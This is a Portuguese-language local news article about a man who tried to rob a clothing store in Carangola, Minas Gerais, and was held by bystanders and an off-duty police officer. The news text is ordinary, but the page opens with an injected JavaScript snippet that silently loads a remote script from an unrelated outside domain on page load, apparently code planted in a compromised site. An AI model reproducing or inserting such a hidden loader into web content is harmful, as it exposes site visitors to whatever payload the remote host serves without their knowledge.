;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Homem tenta assaltar loja e é imobilizado por populares no centro de Carangola (MG). - Portal Carangola

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Homem tenta assaltar loja e é imobilizado por populares no centro de Carangola (MG).

Nesta manhã desta segunda-feira (17), um homem chegou a uma loja de roupas no centro de Carangola pedindo um prato de comida a uma funcionária, tendo esta esclarecido que ali não teria comida, mas apenas roupas para a venda. O homem, então, pediu à funcionária uma camisa de presente, pois hoje seria seu aniversário, tendo ela esclarecido novamente que não poderia dar-lhe uma camisa pois ela era apenas um funcionária, que apenas o proprietário da loja poderia dar a camisa.

Após a negativa da funcionária, o homem saiu da loja e retornou após alguns minutos portando uma mochila, dizendo que estaria armado e que queria dinheiro. Neste momento, a funcionária da loja correu do estabelecimento, ficando apenas uma testemunha no interior da loja, a qual percebeu que o mesmo não estaria armado, motivo pelo qual não lhe entregou o dinheiro exigido. O autor, portanto, saiu do estabelecimento, sendo contido por populares e imobilizado ao chão. Um policial militar de folga que passava pelo local no momento da contenção do autor auxiliou na imobilização do mesmo, ficando este em sua “guarda” até a chegada da viatura policial.

O autor foi preso pela guarnição PM pelo crime de furto tentado, sendo conduzido à Delegacia da Polícia Civil para as demais providências. Vale salientar que o autor do fato criminoso já é conhecido no meio policial por outros crimes contra o patrimônio praticados, estando ele desde o dia 12-12-2018 de livramento condicional, que é benefício concedido a um apenado que permite o cumprimento da punição em liberdade até a extinção da pena. O condenado, no entanto, precisa preencher algumas condições previstas nos artigos 83 a 90 do Código Penal (CP) e nos artigos 131 a 146 da Lei de Execução Penal (LEP).

Parabéns aos populares que imobilizaram o infrator e ao PM de folga que apoiou a ação!

Informação e foto: Verum Liberali

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